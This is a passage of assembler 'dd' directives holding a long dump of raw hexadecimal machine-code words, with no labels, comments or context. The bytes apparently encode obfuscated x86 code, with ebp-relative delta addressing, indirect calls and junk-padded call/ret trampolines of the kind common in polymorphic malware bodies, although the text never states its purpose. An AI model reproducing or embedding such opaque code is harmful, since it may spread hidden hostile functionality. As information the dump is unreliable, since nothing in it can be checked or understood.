		dd 0Ah,	0A6809BEAh, 1A043F6Ah, 0E9815A24h, 3136F514h, 65858D59h
		dd 5006443Ah, 1C058D8Bh, 0FF590644h, 89D781D0h,	0E97A47FAh
		dd 0Ch,	0FD80986Bh, 0FD7C39E4h,	0D722BA08h, 30A18589h
		dd 0CB8B0644h, 2E985C6h, 0B6430644h, 4AA768C0h,	0BD8BC076h
		dd 6440741h, 2D7DB5FFh,	0BF0F0644h, 65858DF8h, 6A06443Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0C39C357h, 66832669h, 0FCD0FFDCh,	14418589h
		dd 80F50644h, 46FB22BDh, 840F0006h, 8Eh, 1EDD958Bh, 858D0644h
		dd 646FB04h, 0F98D3350h, 6A064406h, 6ACA8A01h, 0ED858900h
		dd 6A06442Fh, 34CD8000h, 1F8D95FFh, 12E90644h, 87000000h
		dd 0E91A2335h, 55EF6586h, 49CC4E28h, 910A2572h,	0E958B924h
		dd 85895B94h, 6442CEDh,	0A237B966h, 0CE8BFF6Ah,	2EA5BD8Bh
		dd 0B5FF0644h, 6442CEDh, 1C8F0Fh, 10E80000h, 92000000h
		dd 14B01EF3h, 0A39163B3h, 0E90F03C4h, 891047A1h, 442C25B5h
		dd 95FF5F06h, 6442281h,	0DF18D89h, 0C08B0644h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 3BC35646h, 0F1D7A00Dh
		dd 0BD8329C4h, 64420CDh, 83097500h, 440B25BDh, 19740006h
		dd 0C08B5350h, 7D1B8h, 0F5858900h, 8D064402h, 46A84F9Dh
		dd 5BD3FF06h, 25BD8358h, 6440Bh, 53501774h, 7D1B8h, 0F5858900h
		dd 8D064402h, 46A53E9Dh, 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 9042F14Dh
		dd 6860Fh, 0B5890000h, 6441641h, 1C5D952Bh, 0C08B0644h
		dd 785BD29h, 0D2BA0644h, 0C609905Ah, 4402E985h,	85894706h
		dd 6442CC1h, 0C8F7C168h, 14C98193h, 0FF6469AFh,	442D7DB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 6AD8FD4Ch, 0B820FF1h, 60000000h,	820Fh
		dd 8B660000h, 858D61F1h, 6443A65h, 0FFAFE680h, 0EE9D0h
		dd 0A3AB0000h, 74519526h, 68875A88h, 0BF0EF22Bh, 2699589h
		dd 0F500644h, 81h, 45858D00h, 890646FFh, 441D9585h, 9400C706h
		dd 0E9000000h, 6, 2105F7C0h, 89589739h,	442FF59Dh, 45B58D06h
		dd 8B0646FFh, 4430F9BDh, 880F5606h, 6, 2EB59589h, 0D0FF0644h
		dd 6DD3C781h, 858D7838h, 646FF45h, 0AF78CABAh, 478833Ah
		dd 23850F06h, 31000000h, 44023995h, 0D985C706h,	10646FFh
		dd 60000000h, 0BD9958Bh, 8C0F0644h, 5, 9AD28166h, 0BD8361B4h
		dd 6441745h, 81850F00h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 3782C351h
		dd 6C65C5A1h, 0BD29EED0h, 6443161h, 0FFD9BD83h,	0F000646h
		dd 4B85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 94C3754Ch, 8B098E16h, 0F5958BCBh
		dd 8306441Bh, 442A8DBDh, 840F0006h, 14h, 858D8B57h, 5A064402h
		dd 24E585C7h, 644h, 0D38A0000h,	66DB8C66h, 0F68000BAh
		dd 840F04C3h, 4FBh, 2F618D8Bh, 85C70644h, 6442F11h, 0
		dd 68E0Fh, 0BD8B0000h, 64428D9h, 0FB2FBD80h, 0F000646h
		dd 185h, 85C6F500h, 64402E9h, 0F1BD8B47h, 6806440Ch, 0E3E45B86h
		dd 68C0Fh, 9D890000h, 6440F81h,	2D7DB5FFh, 6A0644h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 53225EC3h, 7E9C66Ch,	87000000h, 90B1D280h, 858DDA92h
		dd 6443A65h, 8BD0FFF8h,	10468D0h, 0D78A0000h, 0E519D8Dh
		dd 0B5890644h, 64431B1h, 14E853h, 133F0000h, 0A8DF2CE2h
		dd 354BBE4Ah, 70E0B88Fh, 707DFE5Fh, 11E9FA92h, 7A000000h
		dd 0C7C3EE77h, 2631C300h, 0F9E9775Bh, 69C902D1h, 66D0FF5Ah
		dd 8DCF9DBAh, 440E5185h, 81665006h, 8DB7C4EAh, 46FAE185h
		dd 10E85206h, 0B1000000h, 5C9FEF4Fh, 0D446CF14h, 0CBD3F0A2h
		dd 0B8B3AB9h, 440DE995h, 505A5F06h, 5D950Bh, 858D0644h
		dd 646F1B4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	3EC35646h, 8D8B987Ch, 6442425h,	0A5958B50h, 0FF06442Ah
		dd 4409A195h, 0D1F28106h, 8343F93Ch, 6A0CC4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 18E456C3h
		dd 8AB53F61h, 68006ACFh, 80h, 6A036Ah, 68006Ah,	8D800000h
		dd 46F1B485h, 95FF5006h, 6441BF9h, 0FAC48589h, 85C60646h
		dd 64402E9h, 5E876847h,	0B5FFC7B1h, 6442D7Dh, 3A65858Dh
		dd 0D0FF0644h, 0B5FF006Ah, 646FAC4h, 6AD0FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0B89507C3h
		dd 0A205AEC6h, 0D88160F7h, 0AE8EE77h, 61F08B66h, 0D03DE88Ah
		dd 0F000037h, 6183h, 258D8900h,	0FF064408h, 46FAC4B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 95893070h, 6442191h, 0FFD0B70Fh,	44144195h
		dd 75BD2306h, 0E9064420h, 0E8h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0E5C35242h,	0B5FF2E12h, 646FAC4h
		dd 5800Fh, 0C0B90000h, 0FF647BBFh, 44144195h, 75ED8006h
		dd 8D29006Ah, 6440B19h,	6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0B6107EC3h, 0CB5538BCh
		dd 14E9h, 0A52FDB00h, 88912617h, 0F7434571h, 0E6DB188Eh
		dd 0FB4AFF6Ah, 1830F45h, 0F8000000h, 0FA8B006Ah, 0E9006AF8h
		dd 14h,	0F9D7782Dh, 6929C187h, 6D712079h, 0C896E813h, 0DF81FDF7h
		dd 958B006Ah, 6441A95h,	0CE80006Ah, 0C8858DD6h,	0E90646FAh
		dd 5, 23C01AAh,	27BF5046h, 0FF5A509Dh, 441BF995h, 8D895106h
		dd 6440F8Dh, 0F58D8B5Ah, 8306441Dh, 850FFFF8h, 141h, 0DBD6B966h
		dd 0B244858Dh, 0CE8A0646h, 840FD0FFh, 3, 0FF8B70Fh, 684h
		dd 1DBD0900h, 6A06441Dh, 0BDB50100h, 6A06442Ah,	55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0BA3E9889h, 7E9B338h, 64000000h, 44A6E2Ah, 0B589CBC7h
		dd 64424A1h, 950B006Ah,	64403FDh, 0B966006Ah, 6AE52Eh
		dd 2DB50956h, 5F064408h, 0BE9h,	0BE92AC00h, 0C37BA643h
		dd 764888C2h, 0C781006Ah, 63238680h, 0FAC8858Dh, 5EB60646h
		dd 53006A50h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 4116D1A5h, 6CE98166h, 0F995FF42h, 0E906441Bh
		dd 0Fh,	0AF61685Dh, 2ABE9BF8h, 3478F440h, 664322EEh, 0F883CB8Bh
		dd 5E850FFFh, 8B000000h, 4419D995h, 0D0B58D06h,	660646F4h
		dd 8DC251B9h, 46A17385h, 258D8B06h, 0F064430h, 68Ch, 0F1BD0100h
		dd 0FF06442Eh, 659589D0h, 0E9064416h, 8, 0DFD4D92Eh, 0ED3C3A80h
		dd 95FF006Ah, 64420E1h,	0FC80D181h, 8A0F0EF9h, 0Dh, 5E8h
		dd 99295100h, 5F5703F4h, 0C4858959h, 0E90646FAh, 7, 0B52A75BDh
		dd 6A6E3A9Ah, 85858900h, 8D06442Eh, 46FABC85h, 0FDB52906h
		dd 50064424h, 3241BD8Bh, 46A0644h, 14E9h, 1D15F500h, 3FFD1DB0h
		dd 0C6DFEA31h, 7933202Bh, 7D4A11FAh, 1D858DA4h,	8B064404h
		dd 44205595h, 9E86006h,	0E4000000h, 0A606A6h, 0C62D85A8h
		dd 0DBD8589h, 0F590644h, 589h, 1B55BF00h, 50611281h, 2C59958Bh
		dd 6A0644h, 2D85BD8Bh, 6A0644h,	6AD78B66h, 0C4B5FF01h
		dd 8B0646FAh, 0A195FFCFh, 0F5064430h, 1ACBE9h, 6F28100h
		dd 8B572C20h, 12E8C0h, 644C0000h, 49EFA9FCh, 0C4523383h
		dd 0A04096D0h, 0B8363580h, 22559509h, 83590644h, 4420CDBDh
		dd 9750006h, 0B25BD83h,	74000644h, 8B535019h, 7D2B8C0h
		dd 85890000h, 64402F5h,	0A84F9D8Dh, 0D3FF0646h,	0BD83585Bh
		dd 6440B25h, 50177400h,	7D2B853h, 85890000h, 64402F5h
		dd 0A53E9D8Dh, 0D3FF0646h, 800F585Bh, 6, 0FF59589h, 0F530644h
		dd 68Eh, 860F00h, 5F000000h, 13CF8153h,	5A51C0ABh, 0BD89C08Bh
		dd 6441CE1h, 2F1185C7h,	10644h,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 8B2BDFC3h
		dd 0DD9D01E8h, 68064423h, 0CEE4E7B8h, 1D85B5FFh, 858D0644h
		dd 6443A65h, 8589D0FFh,	6443169h, 5DBD468h, 85B5FFC0h
		dd 8D06441Dh, 443A6585h, 89D0FF06h, 4419E585h, 6D858D06h
		dd 500646EFh, 2D7DB5FFh, 95FF0644h, 6441C2Dh, 0B74C00Bh
		dd 858DD88Bh, 646FF20h,	8DD3FF50h, 46FF2085h, 38836606h
		dd 0C70A7509h, 44217D85h, 106h,	0C595FF00h, 2506441Eh
		dd 0FFh, 7305F883h, 0A185C70Ah,	106442Dh, 8B000000h, 4421718Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0F556C58h, 0B966D7BFh, 0BD80B48Bh, 646FB2Fh
		dd 0C850F00h, 0F8000000h, 193FE9h, 0DD9D2900h, 83064418h
		dd 44217DBDh, 850F0006h, 0D9h, 1F9D9D89h, 858D0644h, 646FAF9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 2FC35545h
		dd 6A50F57Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 67BC357h, 29EEDD61h, 16A64A8h
		dd 8166006Ah, 6AF64DDAh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 8BCF8F02h, 52AC06FCh
		dd 0BA662557h, 95FF8008h, 6441F8Dh, 0DE36C781h,	85891E29h
		dd 646FB23h, 0FF6ACFB1h, 421B531h, 8C0F0644h, 6, 1E05958Bh
		dd 0B5FF0644h, 646FB23h, 5E9h, 0C01A6800h, 0CE9C956h, 9B000000h
		dd 0F5F6D2AFh, 5480F986h, 0FF19983Ah, 44228195h, 0B5895206h
		dd 6442FADh, 34858D5Fh,	90646EFh, 44023995h, 0CAB70F06h
		dd 118D8B50h, 0FF06440Bh, 4402A195h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 81FF7357h
		dd 88FA4CC7h, 0BE85894Eh, 890646EFh, 442375B5h,	41858D06h
		dd 0E90646EFh, 7, 1108AAA1h, 505CD4E8h,	2161952Bh, 0B5FF0644h
		dd 646EFBEh, 2575BD01h,	95FF0644h, 6441C2Dh, 0CC98589h
		dd 0BD890644h, 6440959h, 0EFAF858Dh, 880F0646h,	6, 31D98D03h
		dd 80500644h, 0B5FF16E5h, 646EFBEh, 0FFF88B66h
		dd 441C2D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0D580E5h,	6D030AB9h, 0D285891Ch
		dd 310646EFh, 442CC19Dh, 8E858D06h, 8B0646EFh, 442F618Dh
		dd 0E1815006h, 15085E87h, 5E8h,	8C7BA900h, 8166467Dh, 5A8594E1h
		dd 0EFBEB5FFh, 6A0646h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 4F17E4C3h, 0FB34475h, 95FFD3BFh
		dd 6441C2Dh, 2A69B509h,	85890644h, 646EFCAh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0D1C35747h, 0FCFA1219h
		dd 0CE98589h, 858D0644h, 646EF81h, 0EE9h, 52603300h, 0FAD52663h
		dd 0C1521E45h, 507CDACEh, 0AADF8166h, 0BEB5FF91h, 8B0646EFh
		dd 2D95FFC8h, 6A06441Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0BA4FC352h,	605B543Fh
		dd 8BCB8B66h, 442D898Dh, 8C0F6106h, 6, 2DB9B529h, 85890644h
		dd 646EFCEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	28C35646h, 0A580B0EAh, 13CE8082h, 858D8952h, 5A06440Fh
		dd 0EF9C858Dh, 6A0646h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0A5825FC3h, 12ECB50Ch, 6A505F8Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 7BDCC356h, 0B98D8B71h, 0FF064429h, 46EFBEB5h
		dd 0FFBF0F06h, 1C2D95FFh, 6A0644h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0F70DF0C3h, 9D29C028h
		dd 6441DC9h, 0A750B966h, 6FD8589h, 8D890644h, 6440345h
		dd 0EF50858Dh, 6A0646h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 7E99AC3h, 0F9000000h, 4508DE84h
		dd 0BF0FC1E4h, 0E28150D7h, 20B27297h, 0EFBEB5FFh, 13E90646h
		dd 13000000h, 4A33DB73h, 0A9965BD7h, 1E266F1h, 0FD4CF404h
		dd 95FF6AD8h, 6441C2Dh,	21D58D8Bh, 85890644h, 646EFC2h
		dd 68D0Fh, 0DF810000h, 3561FC16h, 0CE9h, 0D2949F00h, 2B0FC7Dh
		dd 0AD684932h, 5F858D1Dh, 890646EFh, 4402E1BDh,	95295006h
		dd 6441565h, 0EFBEB5FFh, 0D08B0646h, 1C2D95FFh,	0FE80644h
		dd 3E000000h, 0FDCC8244h, 6AAABB58h, 0D0361D6Bh, 0BD8961C8h
		dd 6441DDDh, 0C685895Fh, 0E90646EFh, 6,	408328F0h, 4686897h
		dd 8A000001h, 56858DEEh, 8B0646F0h, 44160595h, 0D2815006h
		dd 7CE59EB6h, 0F15A858Dh, 95010646h, 64402EDh, 51006A50h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0E9882EA0h, 0Bh, 68EC6B3Bh, 5E9FE156h, 0FF573523h, 44005195h
		dd 89CA8B06h, 441D1D8Dh, 0FC08506h, 685h, 0B9958B00h, 8006441Bh
		dd 46FB2FBDh, 850F0006h, 26h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 91C35545h, 145AE9B5h, 0BF660000h
		dd 0BD83C670h, 644217Dh, 26850F00h, 0F000000h, 0F8Fh, 8E95100h
		dd 65000000h, 7EAA07CAh, 590ECF4Ch, 0FFD9BD83h,	0F000646h
		dd 4984h, 4AB96600h, 0F3858DE1h, 6A0646EFh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 249BC351h
		dd 0EC226185h, 66F3BFD1h, 0E9C4B4BAh, 13F0h, 68D0Fh, 0B5890000h
		dd 6441841h, 0DE9h, 858DF800h, 646EFDEh, 324DB589h, 8B500644h
		dd 440C41BDh, 56858D06h, 0E80646F0h, 7,	4C6E54E4h, 0FAFBA5Fh
		dd 505AF8B7h, 83D08B66h, 44217DBDh, 840F0006h, 6Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 81C35343h, 6E99A7Ah
		dd 81BBC537h, 14D18D31h, 858D0644h, 646F17Ch, 3870Fh, 0C1800000h
		dd 37E96Dh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0BB8B4CC3h, 0B26A7B1Fh, 9B56E281h
		dd 852905FCh, 64429A5h,	0F165858Dh, 0CA800646h,	858D503Eh
		dd 646F1B4h, 31198D29h,	81500644h, 1F0E5BD2h, 0A195FF1Eh
		dd 89064409h, 4430E585h, 258D8B06h, 83064403h, 13E910C4h
		dd 0D7000000h, 9337349Fh, 742A2AC8h, 3FB88CBh, 33920B34h
		dd 0C08B5CD3h, 0F60EE8Ah, 88h, 0E3816600h, 83618BFBh, 4420CDBDh
		dd 9750006h, 0B25BD83h,	74000644h, 8B535019h, 7D3B8C0h
		dd 85890000h, 64402F5h,	0A84F9D8Dh, 0D3FF0646h,	0BD83585Bh
		dd 6440B25h, 50177400h,	7D3B853h, 85890000h, 64402F5h
		dd 0A53E9D8Dh, 0D3FF0646h, 6A585Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 899C31C3h
		dd 3352799Bh, 4424ED95h, 6880F06h, 8B000000h, 442A058Dh
		dd 6AC08B06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 21F8C350h, 0EFDEBD81h,	726F0646h
		dd 840F6165h, 0BDh, 56858DFCh, 500646F0h, 0F193858Dh, 8D500646h
		dd 46F1B485h, 95FF5006h, 64409A1h, 0C60CC483h, 4402E985h
		dd 4F684406h, 0FF96A318h, 442D7DB5h, 65858D06h,	0FF06443Ah
		dd 8DD88BD0h, 46F1B485h, 0D3FF5006h, 0EFDE858Dh, 8D500646h
		dd 46F05685h, 0BD835006h, 644217Dh, 8D087400h, 46F17C85h
		dd 8D06EB06h, 46F16585h, 858D5006h, 646F1B4h, 0A195FF50h
		dd 83064409h, 9D8910C4h, 6442E75h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 8FC35242h, 0FB5D5FE5h, 73403FC6h
		dd 14E9h, 0DDB78700h, 4618F3D4h, 480CC2DFh, 65B9ECCAh
		dd 744A3E28h, 0C595FFABh, 0F506441Eh, 0FF25h, 0F1B52900h
		dd 83064429h, 830F05F8h, 68h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 8EC35040h, 0C7CA8B4Eh, 442DA185h
		dd 106h, 51BD8900h, 8D06440Dh, 46F01285h, 0CD8D2306h, 1064433h
		dd 4421E995h, 8DE906h, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0CD60B4C3h, 0D08B66B1h
		dd 217DBD83h, 0F000644h, 4E84h,	0FE8B6600h, 2631BD8Bh
		dd 858D0644h, 646F03Dh,	51E0B966h, 46E9h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 691579E4h, 10E98D9Dh, 36000000h, 6AC3A376h, 2376B6CAh
		dd 7737780Dh, 8DA57D25h, 46F01F85h, 5E906h, 0B1BE0000h
		dd 89A55684h, 46F05285h, 7DBD8306h, 64421h, 13850Fh, 0BD030000h
		dd 6441685h, 0FFD9BD83h, 0F000646h, 0A84h, 105AE900h, 81660000h
		dd 0E910A2D2h, 3C1h, 2C90C781h,	0C08B59E4h, 2350B966h
		dd 20CDBD83h, 75000644h, 25BD8309h, 6440Bh, 53501974h
		dd 0D4B8C08Bh, 89000007h, 4402F585h, 4F9D8D06h,	0FF0646A8h
		dd 83585BD3h, 440B25BDh, 17740006h, 0D4B85350h,	89000007h
		dd 4402F585h, 3E9D8D06h, 0FF0646A5h, 89585BD3h,	4429D5BDh
		dd 0E9C08B06h, 0Ah, 6FAA2E12h, 14C158D3h, 3F680F52h, 0B000F00h
		dd 440FBDBDh, 9006A06h,	440C7185h, 11E806h, 2EE50000h
		dd 9FCFE33Bh, 789F6B7Ch, 0C8822839h, 8B442DA3h,	441DA18Dh
		dd 6A5906h
		dd 145DB531h, 95FF0644h, 6440CC9h, 0C085D08Bh, 1C850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 8589EAC3h, 646EFD6h, 6ACF8B66h, 6DBD8900h
		dd 6A06441Ah, 31BD3300h, 6A064426h, 6A006A00h, 0F57B200h
		dd 858DD2B7h, 646F1B4h,	0CCDA8166h, 95295013h, 6442631h
		dd 0FE8B016Ah, 0D980016Ah, 8B016A75h, 4414AD95h, 1FF6806h
		dd 0CE9000Fh, 3C000000h, 9E8AE308h, 54C1C5Fh, 0BFB010A8h
		dd 2A1D6C8Ah, 217DBD83h, 0F000644h, 1A84h, 0E5CA8000h
		dd 0F033858Dh, 8D230646h, 6441CB9h, 2DE9h, 41858900h, 8D064430h
		dd 46F00985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0BF661363h, 56503402h, 5AC9B70Fh
		dd 0FFD78B50h, 46EFD6B5h, 3EEA8006h, 0EFC295FFh, 8B660646h
		dd 0FC085CAh, 1085h, 5113BA00h,	5FE96245h, 8B000000h, 440A5595h
		dd 0DA858906h, 890646EFh, 441F6D8Dh, 0DA815206h, 308424F8h
		dd 0DAB5FF5Ah, 0B90646EFh, 69C8C384h, 6FD95FFh,	0C0850644h
		dd 2C850Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 2960B0C3h, 3EEBD71Ah, 958B782Bh
		dd 6441DC9h, 106AD18Ah,	0BE9h, 9CF28100h, 526BD180h, 616EE34Ch
		dd 7B9BD8Bh, 0BD830644h, 644217Dh, 1C840F00h, 8B000000h
		dd 441A25BDh, 33858D06h, 0BF0646F0h, 6F1999Bh, 10E9h, 9DBD8900h
		dd 8D064410h, 46F00985h, 0C68A6006h, 8B535061h,	442EDD8Dh
		dd 0B5FF5F06h, 646EFD6h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ch, 0EFC35040h, 1DAAC45Ch, 0F4AE47FFh, 13E8h
		dd 8BE9A900h, 0C345F106h, 74AF2D24h, 0CA4EFE3Eh, 8BF40132h
		dd 1DC1958Bh, 0FF5F0644h, 46EFCE95h, 6810F06h, 8B000000h
		dd 4408F98Dh, 0FC08506h, 285h, 89C88B00h, 46EFDA85h, 99950106h
		dd 0F06442Ah, 68Bh, 15B52900h, 6A06441Ah, 0AE800h, 778C0000h
		dd 0EA1979E0h, 1C12FF7h, 595DED80h, 13E8006Ah, 0F6000000h
		dd 38F3F449h, 62F659D2h, 979B6F22h, 4BAFCA1Dh, 7E8D334h
		dd 1C000000h, 76985171h, 8D0F5E8Dh, 0
		dd 0B5FF5F5Fh, 646EFDAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 69C35545h, 0E66212D1h, 0FFA73FC3h, 46EFC695h
		dd 0E9BD8B06h, 85064429h, 3850FC0h, 66000000h, 0B5FFFB8Bh
		dd 646EFDAh, 0BE6B966h,	6FD95FFh, 850F0644h, 14h, 0E820Fh
		dd 8E80000h, 8C000000h,	4E88E805h, 591FBDECh, 850FC085h
		dd 2Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h
		dd 0D8C35646h, 0F3FAF3CEh, 1DBD2B66h, 8106440Ch, 64ECEFCFh
		dd 89006A3Dh, 440A2D85h, 0AE906h, 0D1D90000h, 0EABFF2E2h
		dd 0A5EC56FDh, 8068h, 6860F00h,	89000000h, 4400A985h, 6A036A06h
		dd 9BA6B900h, 0B966561Eh, 6A8F28h, 8B66A2B6h, 68D1h, 8166C000h
		dd 0FF6E1FDAh, 46F052B5h, 0A1BD8B06h, 0FF06440Dh, 441BF995h
		dd 0FFF88306h, 513850Fh, 958B0000h, 6441F59h, 0FAC085FFh
		dd 0F2810646h, 51804D9Eh, 0FAC0BD83h, 0F020646h, 3E684h
		dd 0E9958B00h, 66064430h, 43A2CF81h, 0F59F858Dh, 0E781005Ah
		dd 240D7F81h, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 529ADDC3h, 0A8921E05h, 0E872F267h
		dd 8, 0D0168EEDh, 0A99DADE8h, 8D5F14B1h, 5AEFF285h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 6CA3F97Bh, 421D9FF6h, 8BD0FF04h, 83FE8BC0h, 4420CDBDh
		dd 9750006h, 0B25BD83h,	74000644h, 8B535019h, 7D8B8C0h
		dd 85890000h, 64402F5h,	0A84F9D8Dh, 0D3FF0646h,	0BD83585Bh
		dd 6440B25h, 50177400h,	7D8B853h, 85890000h, 64402F5h
		dd 0A53E9D8Dh, 0D3FF0646h, 8589585Bh, 64406C5h,	0FC08BF5h
		dd 3F68D6B7h, 89000F00h, 442CBDBDh, 60006A06h, 20FD9D89h
		dd 7BB20644h, 0BF006A61h, 55215FF3h, 0CC995FFh,	0EA810644h
		dd 2A972D50h, 0DF81C085h, 4ADBC7FDh, 0EFD68589h, 0F88B0646h
		dd 0F01FF68h, 75858900h, 66064418h, 56C6E781h, 217DBD83h
		dd 0F000644h, 5484h, 0E98D8900h, 8906441Eh, 442A31BDh
		dd 33858D06h, 6A0646F0h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0E81BC355h,	14h, 2EF3C1Ch
		dd 129E9C7h, 0A1FAA901h, 0B4BFFCF2h, 32E42026h,	761BD89h
		dd 0E95F0644h, 0Dh, 9858DF8h, 890646F0h, 44324D85h, 10E95006h
		dd 0A0000000h, 79DF8355h, 0F31EF40Eh, 0E344A5CAh, 8AA95526h
		dd 0D6B5FFECh, 6A0646EFh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 810BC357h, 0E51ECEDDh
		dd 95FFDFB5h, 646EFCEh,	880Fh, 85890000h, 646EFDAh, 1C6D9D89h
		dd 85C70644h, 6442071h,	0
		dd 8E9h, 5C5B1500h, 2F104DF0h, 0DABD83C0h, 646EFh, 1D2840Fh
		dd 0DE80000h, 40000000h, 84194BE2h, 42C434FEh, 0DE8A2365h
		dd 72D8D01h, 8D5F0644h,	46F2B885h, 50D18B06h, 7C6ECF81h
		dd 16A0A41h, 0FFD7B70Fh, 46EFDAB5h, 85896006h, 6442ECDh
		dd 95FF61F5h, 646EFD2h,	2FF5CBBFh, 0DAB5FF0Fh, 0FF0646EFh
		dd 4406FD95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 17FF6DA5h, 2F05ADC0h, 8AA8F8BFh
		dd 1FF6850h, 5E9000Fh, 19000000h, 23C32A93h, 217DBD83h
		dd 0F000644h, 3884h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 9DBD8970h, 8D06442Ah
		dd 46F03385h, 0D18D2906h, 8B06441Eh, 17E9CAh, 8B660000h
		dd 9858DC8h, 0E90646F0h, 9, 9E4910B7h, 0A80EE55Ch, 8D8B50D3h
		dd 64428A5h, 0EFD6B5FFh, 0BD8B0646h, 6441F4Dh, 0EFCE95FFh
		dd 6A0646h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 5F26FDC3h, 123E4014h, 0BD8BB659h,	6440361h
		dd 0EFDA8589h, 6A0646h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 12DA9CC3h, 0E45AD281h, 0B5FF4029h
		dd 646EFDAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	13C35343h, 80BFA89Ah, 81DBBEDAh, 0F1E24BDFh, 0CA95FF43h
		dd 6A0646EFh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0A9C5C357h, 0C27BF706h, 481D1D90h
		dd 8DBD8B60h, 8B06442Eh, 441AB195h, 0EA8A6106h,	0EFDAB5FFh
		dd 9D890646h, 6441A29h,	6FD95FFh, 0C7810644h, 6CBABA64h
		dd 0FFF7E5E9h, 0A58501FFh, 0FF06442Ah, 46FB23B5h, 28E0F06h
		dd 8B000000h, 0F995FFCEh, 106440Bh, 442CB59Dh, 5858B06h
		dd 0E9064419h, 14h, 0B3F22E6Ah,	51CFB581h, 1BBC876Eh, 0D0C1FC3Ch
		dd 8F00A32Dh, 60BE9h, 55958B00h, 8D064428h, 46F2D8B5h
		dd 0CA816606h, 858D4C4Fh, 646A173h, 1FC19529h, 8B660644h
		dd 60D0FFFBh, 6F96E081h, 9D8920F5h, 64431C1h, 89006A61h
		dd 440A7D85h, 0E195FF06h, 81064420h, 89EC5BD2h,	6AF38B1Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
